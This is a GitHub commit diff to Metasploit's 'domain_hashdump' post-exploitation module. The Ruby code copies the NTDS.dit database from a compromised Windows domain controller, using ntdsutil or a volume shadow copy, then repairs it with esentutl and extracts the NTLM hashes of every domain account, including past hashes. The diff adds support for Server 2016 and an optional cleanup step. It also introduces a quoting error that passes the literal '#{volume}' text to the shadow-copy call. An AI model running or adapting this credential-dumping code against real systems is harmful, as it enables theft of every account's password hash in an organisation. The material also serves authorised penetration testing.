Skip to content

Commit 51a18b6

Browse files
committed
Land rapid7#9211, handle 2016 DC's with hashdump gracefully
2 parents 0aeb245 + 83c228f commit 51a18b6

File tree

1 file changed

+72
-42
lines changed

1 file changed

+72
-42
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 72 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -12,65 +12,88 @@ class MetasploitModule < Msf::Post
1212
include Msf::Post::Windows::Priv
1313
include Msf::Post::Windows::ShadowCopy
1414
include Msf::Post::File
15+
include Msf::Post::Windows::ExtAPI
1516

16-
def initialize(info={})
17-
super(update_info(info,
18-
'Name' => 'Windows Domain Controller Hashdump',
19-
'Description' => %q{
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'Windows Domain Controller Hashdump',
22+
'Description' => %q(
2023
This module attempts to copy the NTDS.dit database from a live Domain Controller
2124
and then parse out all of the User Accounts. It saves all of the captured password
2225
hashes, including historical ones.
23-
},
24-
'License' => MSF_LICENSE,
25-
'Author' => ['theLightCosine'],
26-
'Platform' => [ 'win' ],
27-
'SessionTypes' => [ 'meterpreter' ]
28-
))
29-
deregister_options('SMBUser','SMBPass', 'SMBDomain')
26+
),
27+
'License' => MSF_LICENSE,
28+
'Author' => ['theLightCosine'],
29+
'Platform' => [ 'win' ],
30+
'SessionTypes' => [ 'meterpreter' ]
31+
)
32+
)
33+
deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
34+
register_options(
35+
[OptBool.new(
36+
'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
37+
)]
38+
)
3039
end
3140

3241
def run
3342
if preconditions_met?
43+
print_status "Pre-conditions met, attempting to copy NTDS.dit"
3444
ntds_file = copy_database_file
3545
unless ntds_file.nil?
3646
file_stat = client.fs.file.stat(ntds_file)
3747
print_status "NTDS File Size: #{file_stat.size.to_s} bytes"
3848
print_status "Repairing NTDS database after copy..."
3949
print_status repair_ntds(ntds_file)
4050
realm = sysinfo["Domain"]
41-
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
42-
print_status "Started up NTDS channel. Preparing to stream results..."
43-
ntds_parser.each_account do |ad_account|
44-
print_good ad_account.to_s
45-
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
46-
ad_account.nt_history.each_with_index do |nt_hash, index|
47-
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
48-
hash_string << ":#{nt_hash}"
49-
report_hash(hash_string.downcase,ad_account.name, realm)
51+
begin
52+
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
53+
rescue Rex::Post::Meterpreter::RequestError => e
54+
print_bad("Failed to properly parse database: #{e}")
55+
if e.to_s.include? "1004"
56+
print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
5057
end
5158
end
52-
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
53-
rm_f(ntds_file)
59+
unless ntds_parser.nil?
60+
print_status "Started up NTDS channel. Preparing to stream results..."
61+
ntds_parser.each_account do |ad_account|
62+
print_good ad_account.to_s
63+
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
64+
ad_account.nt_history.each_with_index do |nt_hash, index|
65+
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
66+
hash_string << ":#{nt_hash}"
67+
report_hash(hash_string.downcase, ad_account.name, realm)
68+
end
69+
end
70+
end
71+
if datastore['cleanup']
72+
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
73+
rm_f(ntds_file)
74+
else
75+
print_bad "#{ntds_file} requires manual cleanup"
76+
end
5477
end
5578
end
5679
end
5780

5881
def copy_database_file
5982
database_file_path = nil
60-
if start_vss
61-
case sysinfo["OS"]
62-
when /2003| \.NET/
63-
database_file_path = vss_method
64-
when /2008|2012/
65-
database_file_path = ntdsutil_method
66-
else
67-
print_error "This version of Windows is unsupported"
68-
end
83+
case sysinfo["OS"]
84+
when /2003| \.NET/
85+
print_status "Using Volume Shadow Copy Method"
86+
database_file_path = vss_method
87+
when /2008|2012|2016/
88+
print_status "Using NTDSUTIL method"
89+
database_file_path = ntdsutil_method
90+
else
91+
print_error "This version of Windows is unsupported"
6992
end
7093
database_file_path
7194
end
7295

73-
def is_domain_controller?
96+
def domain_controller?
7497
if ntds_location
7598
file_exist?("#{ntds_location}\\ntds.dit")
7699
else
@@ -79,13 +102,13 @@ def is_domain_controller?
79102
end
80103

81104
def ntds_location
82-
@ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory")
105+
@ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\", "DSA Working Directory")
83106
end
84107

85108
def ntdsutil_method
86-
tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
109+
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
87110
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
88-
result = cmd_exec("ntdsutil.exe", command_arguments,90)
111+
result = cmd_exec("ntdsutil.exe", command_arguments, 90)
89112
if result.include? "IFM media created successfully"
90113
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
91114
print_status "NTDS database copied to #{file_path}"
@@ -97,23 +120,27 @@ def ntdsutil_method
97120
file_path
98121
end
99122

100-
101123
def preconditions_met?
102-
unless is_admin?
124+
if is_admin?
125+
print_status "Session has Admin privs"
126+
else
103127
print_error "This module requires Admin privs to run"
104128
return false
105129
end
106-
unless is_domain_controller?
130+
if domain_controller?
131+
print_status "Session is on a Domain Controller"
132+
else
107133
print_error "This does not appear to be an AD Domain Controller"
108134
return false
109135
end
110136
unless session_compat?
111137
return false
112138
end
139+
load_extapi
113140
return true
114141
end
115142

116-
def repair_ntds(path='')
143+
def repair_ntds(path = '')
117144
arguments = "/p /o \"#{path}\""
118145
cmd_exec("esentutl", arguments)
119146
end
@@ -144,13 +171,16 @@ def session_compat?
144171
end
145172

146173
def vss_method
174+
unless start_vss
175+
fail_with(Failure::NoAccess, "Unable to start VSS service")
176+
end
147177
location = ntds_location.dup
148-
volume = location.slice!(0,3)
149-
id = create_shadowcopy("#{volume}")
178+
volume = location.slice!(0, 3)
179+
id = create_shadowcopy('#{volume}')
150180
print_status "Getting Details of ShadowCopy #{id}"
151181
sc_details = get_sc_details(id)
152182
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
153-
target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
183+
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
154184
print_status "Moving ntds.dit to #{target_path}"
155185
move_file(sc_path, target_path)
156186
target_path

0 commit comments

Comments
 (0)